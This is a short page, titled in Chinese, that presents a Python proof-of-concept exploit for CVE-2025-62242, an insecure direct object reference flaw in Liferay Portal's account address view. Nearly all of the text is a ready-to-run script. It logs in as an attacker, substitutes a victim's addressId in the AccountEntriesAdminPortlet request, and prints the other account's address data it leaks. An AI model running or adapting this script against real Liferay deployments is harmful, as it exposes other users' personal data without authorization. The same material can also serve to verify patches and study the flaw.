CVE-2025-62242：Liferay Portal账户地址IDOR漏洞

# CVE-2025-62242 PoC - Liferay Portal IDOR in AccountEntriesAdminPortlet # Vulnerability: Insecure Direct Object Reference in addressId parameter # Affected: Liferay Portal 7.4.3.4-7.4.3.111, Liferay DXP 2023.Q3/2023.Q4 import requests # Configuration TARGET_URL = "https://target-liferay-instance.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/c/portal/login" login_params = { "p_p_id": "com_liferay_login_web_portlet_LoginPortlet", "p_p_lifecycle": "0", "_com_liferay_login_web_portlet_LoginPortlet_login": USERNAME, "_com_liferay_login_web_portlet_LoginPortlet_password": PASSWORD, } session.post(login_url, data=login_params) # Step 2: Exploit IDOR by manipulating the addressId parameter # The vulnerable parameter allows viewing addresses from other accounts vulnerable_url = f"{TARGET_URL}/group/control_panel/manage" exploit_params = { "p_p_id": "com_liferay_account_admin_web_internal_portlet_AccountEntriesAdminPortlet", "p_p_lifecycle": "0", "_com_liferay_account_admin_web_internal_portlet_AccountEntriesAdminPortlet_addressId": "<VICTIM_ADDRESS_ID>", # Replace with target address ID "_com_liferay_account_admin_web_internal_portlet_AccountEntriesAdminPortlet_mvcPath": "/account_entries_admin/view_address.jsp", } response = session.get(vulnerable_url, params=exploit_params) # Step 3: Check if address data from another account is leaked if response.status_code == 200 and "address" in response.text.lower(): print("[+] IDOR vulnerability confirmed!") print("[+] Leaked address data:") print(response.text) else: print("[-] Exploit failed or patched.")